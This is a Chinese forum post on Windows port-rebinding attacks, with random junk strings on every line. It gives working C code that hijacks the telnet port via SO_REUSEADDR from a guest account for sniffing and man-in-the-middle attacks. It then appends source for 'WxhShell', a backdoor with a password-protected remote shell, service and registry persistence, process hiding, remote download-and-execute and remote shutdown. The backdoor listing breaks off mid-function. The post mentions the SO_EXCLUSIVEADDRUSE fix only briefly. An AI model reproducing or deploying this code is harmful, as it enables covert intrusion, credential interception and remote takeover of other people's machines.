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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gnf4H V~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z]Cd>u  
"=$uv  
  saddr.sin_family = AF_INET; zW[HGI6w  
azRp4~2?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S]4!uv^y  
;D%H}+Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a,n#E!zT?w  
TpHzf3.I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X8~?uroq  
$2Bll5!]  
  这意味着什么?意味着可以进行如下的攻击: N~?(<DyZR  
P#rS.CIh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ':f,RG  
&F*eo`o}6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ldy(<cN  
Ac}5,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H}8kku>7  
]7q|) S\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EK\xc'6M  
3]7j, 1^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "DX 2Mu=  
Ak3V< =gx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QQ %W3D @  
crgVedx~}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UH((d*HX4  
{GGP8  
  #include Q4g69IE  
  #include Y+0GJuBf  
  #include hANe$10=H  
  #include    FU)=+m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :8]y*j  
  int main() I(z16wQ  
  { zkd^5A; `  
  WORD wVersionRequested; =yPV9#(I/  
  DWORD ret; I`x[1%y2 F  
  WSADATA wsaData; m+x$LkP  
  BOOL val; [&lH[:Y#  
  SOCKADDR_IN saddr; o;OEb  
  SOCKADDR_IN scaddr; p]7IoO -@  
  int err; |!CAxE0d$B  
  SOCKET s; m<J:6^H@  
  SOCKET sc; *0_Q0SeE,o  
  int caddsize; (Dx p  
  HANDLE mt; VWk{?*Dp  
  DWORD tid;   f`[E^ zj  
  wVersionRequested = MAKEWORD( 2, 2 ); iAt&927  
  err = WSAStartup( wVersionRequested, &wsaData ); p ^)3p5w  
  if ( err != 0 ) { &@w0c>Y  
  printf("error!WSAStartup failed!\n"); 9vCCE[9  
  return -1; _KZ TY`/*  
  } uSH_=^yTQ  
  saddr.sin_family = AF_INET; (N9g6V  
   .kB!',v\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /?V-  
$M$-c{>s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I2,AT+O<  
  saddr.sin_port = htons(23); gN]\#s@[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~9@83Cs2  
  { HK VtO%&  
  printf("error!socket failed!\n"); VuD{t%Jb  
  return -1; @]Ac >&  
  } a.a ,_  
  val = TRUE; ;R$2+9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ! %N@>[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wVc ^l  
  { y<c7RK]  
  printf("error!setsockopt failed!\n"); 3`Xzp  
  return -1; D[Q/:_2l  
  } 2G_]Y8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /-+hMYe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7j88^59  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 thE9fr/  
K87yQOjPv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F?qg?1v B|  
  { s(r4m/  
  ret=GetLastError(); KxWm63"  
  printf("error!bind failed!\n"); *JZlG%z  
  return -1; vx}BT H  
  } >Sb3]$$  
  listen(s,2); }hcY5E-n  
  while(1) `^|l+TJG  
  { e`Co ='  
  caddsize = sizeof(scaddr); ?P/73p  
  //接受连接请求 7R5+Q\W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1\g r ;b  
  if(sc!=INVALID_SOCKET) `O`MW} c  
  { )jh~jU?c@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AS'+p%(  
  if(mt==NULL) 8is QL  
  { %D~Mij  
  printf("Thread Creat Failed!\n"); R \]C;@J<  
  break; \9`.jB~<  
  } *Rxn3tR7  
  } Rr}m(e=  
  CloseHandle(mt); \u;`Lf  
  } 3 rR1/\  
  closesocket(s); +,j6dYub  
  WSACleanup(); IR8yE`(h  
  return 0; 7y_<BCx h  
  }   \ _?d?:#RD  
  DWORD WINAPI ClientThread(LPVOID lpParam) s'bTP(wl9  
  { ,5AEtoF  
  SOCKET ss = (SOCKET)lpParam; +,TrJg  
  SOCKET sc; )JJF}m=  
  unsigned char buf[4096]; vin3 i&k  
  SOCKADDR_IN saddr; unKgOvtj  
  long num; UD9JE S,  
  DWORD val; L\V`ou  
  DWORD ret; - FJLM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9SJSUv:@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l=x(   
  saddr.sin_family = AF_INET; /!qP=ngw9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3[8p,wx  
  saddr.sin_port = htons(23); }(,{^".[}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h\Q@zR*0a  
  { 0& ?L%Y  
  printf("error!socket failed!\n"); M27H{} v  
  return -1; u4bVp+  
  } vKfjP_0$  
  val = 100; NK'@.=$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -!K&\hEjj  
  { k|{ 4"4r  
  ret = GetLastError(); %jHe_8=o  
  return -1; 1U?5/Ja  
  } zg$ag4%Qgg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #Tt*NU  
  {  ) TRUx  
  ret = GetLastError(); O%haaL\  
  return -1; ~O]{m,)n  
  } mkrVeBp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {'z$5<|  
  { A(n#k&W1fZ  
  printf("error!socket connect failed!\n"); 0Ue~dVrM(?  
  closesocket(sc); s+z5"3'n  
  closesocket(ss); \jmZ t*c  
  return -1; eN\+  
  } L\t_zf_0  
  while(1) Et0)6^-v  
  { ;cZp$ xb3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L27WDm^)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ) .KMZ]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `zB bB^\`W  
  num = recv(ss,buf,4096,0); rm-;Z<  
  if(num>0) ).A9>^6?{  
  send(sc,buf,num,0); X *:,|  
  else if(num==0) E0yx @Vx  
  break; i0J`{PbI  
  num = recv(sc,buf,4096,0); %wI)uJ2  
  if(num>0) sZEa8  
  send(ss,buf,num,0); S _ UAz  
  else if(num==0) dZI["FeO&d  
  break; 67 ~pn  
  } >#Xz~xI/I  
  closesocket(ss); c?REDj2  
  closesocket(sc); uGm?e]7Hx<  
  return 0 ; FFN Sn  
  } [;4;. V  
M'F<1(  
X$6QQnyR  
========================================================== [J(b"c6  
YD0hDp  
下边附上一个代码,,WXhSHELL adAdX;@e`  
$R NHRA.  
========================================================== F ^aD#  
Tku6X/LF  
#include "stdafx.h" WW>m`RU`  
Tj{3#?]Ho  
#include <stdio.h> .wyuB;:  
#include <string.h> ;NrPMz  
#include <windows.h> W0Y ,3;0  
#include <winsock2.h> d>F.C>  
#include <winsvc.h>  ST0TWE'  
#include <urlmon.h> @65xn)CD{  
sriDta?Cz  
#pragma comment (lib, "Ws2_32.lib") t`R{N1  
#pragma comment (lib, "urlmon.lib") ]!~?j3-k Q  
 m l@% H  
#define MAX_USER   100 // 最大客户端连接数 V|[NL4  
#define BUF_SOCK   200 // sock buffer +|7N89l  
#define KEY_BUFF   255 // 输入 buffer 4>a(!h t  
"tK|/R+  
#define REBOOT     0   // 重启 %>6ilG Q+  
#define SHUTDOWN   1   // 关机 c!'\k,ma<9  
&I(\:|`o  
#define DEF_PORT   5000 // 监听端口 qxsHhyB_n;  
SM2N3"\  
#define REG_LEN     16   // 注册表键长度 r4DHALu#)  
#define SVC_LEN     80   // NT服务名长度 qvK/}  
<;O^3_'  
// 从dll定义API Q\T?t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8 H3u"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kFC*,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VX>j2Z'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5Pxx)F9]  
zSU,le  
// wxhshell配置信息 oif|X7H;  
struct WSCFG { 4*Gv0#dga  
  int ws_port;         // 监听端口 41s\^'^&  
  char ws_passstr[REG_LEN]; // 口令 j"aY\cLr t  
  int ws_autoins;       // 安装标记, 1=yes 0=no T93st<F=R  
  char ws_regname[REG_LEN]; // 注册表键名 &[_@f#  
  char ws_svcname[REG_LEN]; // 服务名 V*5v JF0j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'Cz*p,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jD}h`(bE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S'kgpF"bm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O`"~AY&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +!E9$U>6%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zq<j}vVJ  
0a^bAEP  
}; |WEl5bNc3  
LME&qKe5  
// default Wxhshell configuration 'b z&m(!  
struct WSCFG wscfg={DEF_PORT, 5]upfC6  
    "xuhuanlingzhe", =QbOvIq  
    1, nE*S3  
    "Wxhshell", sQ,xTWdj  
    "Wxhshell", lX)AbK]nb  
            "WxhShell Service", k?TZY|_  
    "Wrsky Windows CmdShell Service", Y6Cm PxOQ  
    "Please Input Your Password: ", oP%5ymL%J  
  1, 0"T/a1S7bl  
  "http://www.wrsky.com/wxhshell.exe", &v t)7[  
  "Wxhshell.exe" o3GkTn O  
    }; G5K?Q+n   
"DfjUk  
// 消息定义模块 (V\N1T,f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5u;//Cm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; II|;_j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HLG5SS7  
char *msg_ws_ext="\n\rExit."; \w>Rmf'|  
char *msg_ws_end="\n\rQuit."; 1K<}  
char *msg_ws_boot="\n\rReboot..."; Ui"{0%  
char *msg_ws_poff="\n\rShutdown..."; _q4O2Fx0  
char *msg_ws_down="\n\rSave to "; jZPGUoRLg  
eq(h {*rC  
char *msg_ws_err="\n\rErr!"; 1"75+Q>D  
char *msg_ws_ok="\n\rOK!"; v}a {nU'  
~:o$}`mW  
char ExeFile[MAX_PATH]; 'SoBB:  
int nUser = 0; _$5DK%M}  
HANDLE handles[MAX_USER]; OFyy!r@?  
int OsIsNt; *PV"&cx  
(d D7"zQ  
SERVICE_STATUS       serviceStatus; .%e>>U>F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _*%K!%}l=  
X[1D$1Dvw  
// 函数声明 -N wic|  
int Install(void); r|DIf28MIq  
int Uninstall(void); m"'LT0nur  
int DownloadFile(char *sURL, SOCKET wsh); US(RWXyg  
int Boot(int flag); <FBBR2  
void HideProc(void); SZ9DT  
int GetOsVer(void); 3Il._]#  
int Wxhshell(SOCKET wsl); E;x-O)(&  
void TalkWithClient(void *cs); vYb4&VV  
int CmdShell(SOCKET sock); Xq03o#-p+  
int StartFromService(void); v<g=uEpN  
int StartWxhshell(LPSTR lpCmdLine); l~f3J$OkJ  
4g8o~JI:v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B5vLV@>]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0XCAnMVo  
+y8Y@e}>  
// 数据结构和表定义 WysWg7,r  
SERVICE_TABLE_ENTRY DispatchTable[] = &Tuj`DL  
{ =xRD %Z  
{wscfg.ws_svcname, NTServiceMain}, xH{-UQ3R  
{NULL, NULL} +~aIT=i3  
}; f^lcw  
]= %qm;  
// 自我安装 buN@O7\  
int Install(void) wv."  
{ yq[/9PciA  
  char svExeFile[MAX_PATH]; 9RHDkK{5  
  HKEY key; ? ,s'UqR  
  strcpy(svExeFile,ExeFile); }Oc+EV-Z  
h ~yTkN]  
// 如果是win9x系统,修改注册表设为自启动 #)xlBq4cZ  
if(!OsIsNt) { fuv{2[N V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d;0]xG?%=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `N.:3]B t  
  RegCloseKey(key); x[0hY0 ?[M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G~(\N?2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R2a99#J  
  RegCloseKey(key); 7<MEMNYX  
  return 0; D:bmq93PC  
    } ~5%3]  
  } ;<Hk Cd  
} ."^\1N(.n  
else { |C z7_Rn  
)1M2}11uS  
// 如果是NT以上系统,安装为系统服务 9?O8j1F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4s9@4  
if (schSCManager!=0) so$(-4(E O  
{ {R(CGrI  
  SC_HANDLE schService = CreateService mHW%:a\L  
  ( Gt*K:KT=L  
  schSCManager, 0Atha>w^o~  
  wscfg.ws_svcname, h+j^VsP zB  
  wscfg.ws_svcdisp, z{\tn.67  
  SERVICE_ALL_ACCESS, `14@dk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |e2s\?nB0S  
  SERVICE_AUTO_START, m!w|~ Rk  
  SERVICE_ERROR_NORMAL, ' *a}*(0OA  
  svExeFile, r|4D.O]  
  NULL, 'q$Y m0nL  
  NULL, .#SgU<Wq  
  NULL, MJ?t{=  
  NULL, vbeE}7 *2  
  NULL jIe /X]  
  ); 1_q!E~)  
  if (schService!=0) n:/!{.  
  { NWFh<  
  CloseServiceHandle(schService); %E&oe $[B  
  CloseServiceHandle(schSCManager); v/rBjUc+X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dt "/4wCO  
  strcat(svExeFile,wscfg.ws_svcname); lqmQQ*Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2{~`q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $ MH;v_'a  
  RegCloseKey(key); Y` ]P&y  
  return 0; s)]T"87H'_  
    } ZJZSt% r  
  } x cAs}y}  
  CloseServiceHandle(schSCManager); `b8nz 7  
} W g7 eY'FE  
} lCp6UkE  
C/Z#NP~ *  
return 1; ;BH.,{*@B  
} 99ZWB  
:qbU@)p*  
// 自我卸载 $RY-yKmi  
int Uninstall(void) sU&v B:]~  
{ DoQ^caa@  
  HKEY key; ;6pB7N  
m=@xZw<  
if(!OsIsNt) { "Ux(nt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i@?|vu  
  RegDeleteValue(key,wscfg.ws_regname); n5UUoBv  
  RegCloseKey(key); EniV-Uj\D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H i8V=+  
  RegDeleteValue(key,wscfg.ws_regname); <#?dPDMG.*  
  RegCloseKey(key); !nkIXgWz  
  return 0; r/AOgS  
  } ^;a .;wR  
} E7\K{]  
} >JE+g[$@  
else { j#2Xw25  
[T =>QS@g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wMR,r@}  
if (schSCManager!=0) a5t&{ajJ  
{ 8j70X <R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o"BED! /  
  if (schService!=0) NO[A00m|OL  
  { vLN KX;9  
  if(DeleteService(schService)!=0) { r D <T  
  CloseServiceHandle(schService); ANBuX6q  
  CloseServiceHandle(schSCManager); duEXp]f!  
  return 0; fiWN^sTM  
  } X [dfms;H  
  CloseServiceHandle(schService); ;-~E !_$  
  } oc] C+l  
  CloseServiceHandle(schSCManager); Ds"%=  
} _ncBq;j{  
} DKfpap}8u  
IKP_%R8.  
return 1; uoE+:,P  
} )r{Wj*u  
iZfZF  
// 从指定url下载文件 Sdmz (R  
int DownloadFile(char *sURL, SOCKET wsh) F*J1w|)F0  
{ DVhBZ!u 9  
  HRESULT hr; t adeG  
char seps[]= "/"; V~KWy@7  
char *token; f?/OV*  
char *file; >qNpY(Ql  
char myURL[MAX_PATH]; XV%R Mr6  
char myFILE[MAX_PATH]; Wfd`v  
@, fvWNI  
strcpy(myURL,sURL); 80lhhqRC  
  token=strtok(myURL,seps); ";7N$hWE  
  while(token!=NULL) P=,\wM6T|  
  { Yz0fOX  
    file=token; !J;Bm,Xn6  
  token=strtok(NULL,seps); ck0%H#BYY  
  } D1-/#QN$1  
TPBQfp%HU  
GetCurrentDirectory(MAX_PATH,myFILE); J i@q7qkC  
strcat(myFILE, "\\"); ?:`sE"  
strcat(myFILE, file); QObVJg,GD  
  send(wsh,myFILE,strlen(myFILE),0); 02[m{a-  
send(wsh,"...",3,0); Q?1.GuF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a_}C*+D  
  if(hr==S_OK) Nm&'&L%Ch  
return 0; R7(XDX=[ s  
else &PV%=/ -J  
return 1;  N#9N ^#1  
a+lNXlh=  
} %$zak@3%'  
;5X~"#%U_  
// 系统电源模块 AFL'Ox]0  
int Boot(int flag) \jk* Nm8;  
{ l2 n`fZL  
  HANDLE hToken; vS~tr sI  
  TOKEN_PRIVILEGES tkp; LWqKSNE;  
FNraof @Oy  
  if(OsIsNt) { kBA.N l7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SPlt=*C#_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J1O1! .  
    tkp.PrivilegeCount = 1; ($<&H>j0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &1T)'Bn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3xz~##  
if(flag==REBOOT) { W"@'}y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~fD\=- S1  
  return 0; %,vq@..^  
} zdPJ>PNU  
else { F5:xrcyC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sd ^I >;  
  return 0; d.w]\  
} z@e(y@  
  } s'N<  
  else { [! ;sp~  
if(flag==REBOOT) {  t{},Th  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >F7HKwg}Z  
  return 0; 3s%DF,  
} ef7 U7   
else { "aKlvK:77  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >CrrxiG  
  return 0; +2:HgW  
} . U6(>6-  
} O&/n BHu\  
>ryA:TO{  
return 1; "#pxZ B=  
} |$IL:W6  
f@!9~s  
// win9x进程隐藏模块 $}b)EMMM  
void HideProc(void) V-(]L:[JQ  
{ Z>g&%3j  
iTdamu`L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); om`B:=+  
  if ( hKernel != NULL ) \Cq4r4'  
  { ;&|I/MVm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]SAY\;,_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qm/>\4eLt  
    FreeLibrary(hKernel); + @fEw  
  } :](#W@ r  
sM)1w-  
return; :!t4.ko  
} i^:#*Q-co  
a8)2I~j  
// 获取操作系统版本 ]Zh$9YK  
int GetOsVer(void) M __S)  
{ ?QKD YH(  
  OSVERSIONINFO winfo; w6> P[oW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1!)'dL0mI  
  GetVersionEx(&winfo); 4KxuSI^q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yy/'B:g  
  return 1; Jjj;v2uSK  
  else rd%uc~/  
  return 0; Z >R@  
} F|+B8&-v  
_nz_.w0H9  
// 客户端句柄模块 ,<P"\W  
int Wxhshell(SOCKET wsl) yph@H!@  
{ aJ=)5%$6kc  
  SOCKET wsh; `Mg3P_}=  
  struct sockaddr_in client; l v:GiA"X  
  DWORD myID; 0@{bpc rc  
k1g-%DB  
  while(nUser<MAX_USER) Kp7)my  
{ %e25Z .Se$  
  int nSize=sizeof(client); E83$(6z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?1r;6  
  if(wsh==INVALID_SOCKET) return 1; QPp31o.!5  
~eP~c"L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JP"#9f  
if(handles[nUser]==0) Xsanc@w)^C  
  closesocket(wsh); HhCFAq"j  
else KY< $+/B!  
  nUser++; $$p +~X  
  } jdVj FCl^#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Z_w2D*  
1jKj' 7/K  
  return 0; {G3Ok++hc  
} 5ad@}7&  
_-{=Z=?6}  
// 关闭 socket *uK!w(;2  
void CloseIt(SOCKET wsh) i4>M  
{ DU,B  
closesocket(wsh); WRbdv{ 1E  
nUser--; p"6[S  
ExitThread(0); lBG=jOS  
} xa_ IdkV  
wO!>kc<  
// 客户端请求句柄 Av n-Ug  
void TalkWithClient(void *cs) 6*$A/D  
{ ?r)>SB3(e  
ZB$yEW]]~  
  SOCKET wsh=(SOCKET)cs; 6IK>v*<  
  char pwd[SVC_LEN]; Z?[ R;V1j  
  char cmd[KEY_BUFF]; U3]/ NV*   
char chr[1]; mPPB"uQ  
int i,j; PmsZ=FY  
1xkk5\3]  
  while (nUser < MAX_USER) { 9+ve0P7$  
KU/QEeqbrp  
if(wscfg.ws_passstr) { P^Og(F8;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B/Q>i'e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e$ QMR.'  
  //ZeroMemory(pwd,KEY_BUFF); =7kn1G.(  
      i=0; .& bc3cW  
  while(i<SVC_LEN) { ]o'dr r  
G]xN#O;  
  // 设置超时 ,f ?B((l  
  fd_set FdRead; 7,?ai6{  
  struct timeval TimeOut; kAUL7_>6X  
  FD_ZERO(&FdRead); JB5%\   
  FD_SET(wsh,&FdRead); .8'uIA{_2  
  TimeOut.tv_sec=8; 32j#kJW  
  TimeOut.tv_usec=0; 9ec#'i=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 753gcY#i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .3XSF$;  
aRn""3[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t=:5?}J.Q$  
  pwd=chr[0]; $Sm iN'7;  
  if(chr[0]==0xd || chr[0]==0xa) { ~k@{b&  
  pwd=0; u@Ni *)p`  
  break; 1:DA{ejS  
  } c*[aIqj  
  i++; ESIeZhXVH  
    } sy(bL _%  
S:g6z'e1  
  // 如果是非法用户,关闭 socket ) .V,zmI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZX+0{E8a  
} qgWsf-di=  
if1)AE-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .hf%L1N%F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +WR'\15u   
:zfMRg  
while(1) { RcR-sbR  
D&N3LH  
  ZeroMemory(cmd,KEY_BUFF); vgNrHq&2q  
h^WMv *2  
      // 自动支持客户端 telnet标准   ]w-W  
  j=0; +-V4:@  
  while(j<KEY_BUFF) { )P+<=8@a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #MMp0  
  cmd[j]=chr[0]; 1!+0]_8K  
  if(chr[0]==0xa || chr[0]==0xd) { 3$_- 0>  
  cmd[j]=0; #w^Ot*{!N  
  break; *r~6R  
  } "Rf|o 6!d  
  j++; -4J.YF>  
    } u1z!OofN>  
i3(5 '  
  // 下载文件 Z]Z&PbP  
  if(strstr(cmd,"http://")) { \`/ P*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G%jV}7h  
  if(DownloadFile(cmd,wsh)) X2np.9hie  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7D8 pb0`;J  
  else VqOTrB1w/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .v=n-k7  
  } ZWB3R  
  else { 8_rd1:t5  
eq2L V=d{m  
    switch(cmd[0]) { .o<9[d"  
  p[!9objU  
  // 帮助 4q@[k: '  
  case '?': { I.2>d_^<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8y?q)y9h  
    break; S@,x^/vT  
  } 0@&;JMh6<  
  // 安装 ^d9o \  
  case 'i': { ^@'zQa  
    if(Install()) 8-O: e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *TxR2pC}  
    else 0J5$ Yw1'F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8l?@ o  
    break; PIsXX#`7;  
    } 4!M0)Nix  
  // 卸载 VdL }$CX$  
  case 'r': { Kt"4<'  
    if(Uninstall()) Us>n`Lj@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]h=y  
    else JQ]MkP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [#:yOZt  
    break; p5nrPL  
    } tKi ^0vE8  
  // 显示 wxhshell 所在路径 dr"@2=Z  
  case 'p': { ^h<ElK  
    char svExeFile[MAX_PATH]; VhgcvS@V  
    strcpy(svExeFile,"\n\r"); s"wz !{G4  
      strcat(svExeFile,ExeFile); =NRiro  
        send(wsh,svExeFile,strlen(svExeFile),0); Tkh?F5l  
    break; dTU`@!f  
    } (b.Mtd  
  // 重启 lqoVfj'6M  
  case 'b': { AX{yfL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ojp|/yd^YL  
    if(Boot(REBOOT)) iA"H*0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'>ck2drjk  
    else { U}-hV@y  
    closesocket(wsh); eoiC.$~\  
    ExitThread(0); /cD]m  
    } w*4sT+ P  
    break; Y$ ZDJNz  
    } 3KKq1][  
  // 关机 &e4EZ  
  case 'd': { AeW_W0j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xu{S4#1  
    if(Boot(SHUTDOWN)) MG,?,1_ &  
